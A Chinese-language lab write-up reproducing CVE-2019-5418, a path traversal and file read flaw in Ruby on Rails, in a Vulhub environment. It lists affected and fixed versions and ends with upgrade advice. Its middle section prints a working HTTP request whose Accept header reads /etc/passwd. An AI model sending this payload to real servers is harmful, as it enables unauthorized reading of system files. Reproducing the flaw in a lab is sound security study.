一、漏洞简介
1. 漏洞简介
Ruby on Rails使用了指定参数的render file来渲染应用之外的视图,且会根据用户传入的Accept头来确定文件具体位置。我们可以通过修改访问某控制器的请求包,通过…/…/…/…/来达到路径穿越的目的,然后再通过{{来闭合模板查询路径,那我们访问的文件会被当做外部模板来解析。
2. 危害等级
高
3. 影响范围
Rails全版本
其中修复版本:
6.0.0.beta3
5.2.2.1
5.1.6.2
5.0.7.2
4.2.11.1
二、 复现环境
靶机(搭建的Vulhub漏洞测试靶场):192.168.15.15
攻击机(kali):192.168.15.131
Vulhub漏洞测试靶场的搭建可参考:Vulhub漏洞测试靶场搭建
三、复现过程
1. 启动漏洞环境
使用Vulhub启动漏洞环境
2. 验证漏洞环境
访问链接:http:192.168.15.15:3000 出现以下界面证明环境搭建成功。
3. 漏洞复现
访问http://192.168.15.15:3000/robots可见,正常的robots.txt文件被读取出来。
利用漏洞,使用burpsuite修改Accept参数进行文件读取,读取/etc/passwd:
GET /robots HTTP/1.1
Host: your-ip:3000
Accept-Encoding: gzip, deflate
Accept: ../../../../../../../../etc/passwd{{
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
成功读取到/etc/passwd文件,漏洞复现成功。
4. 关闭漏洞环境
使用完漏洞环境后记得及时关闭漏洞环境。docker-compose down
文章来源:https://www.toymoban.com/news/detail-441071.html
四、修复建议
使用已经修复该漏洞的版本。文章来源地址https://www.toymoban.com/news/detail-441071.html
到了这里,关于【漏洞复现】Ruby on Rails 路径穿越与任意文件读取漏洞(CVE-2019-5418)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!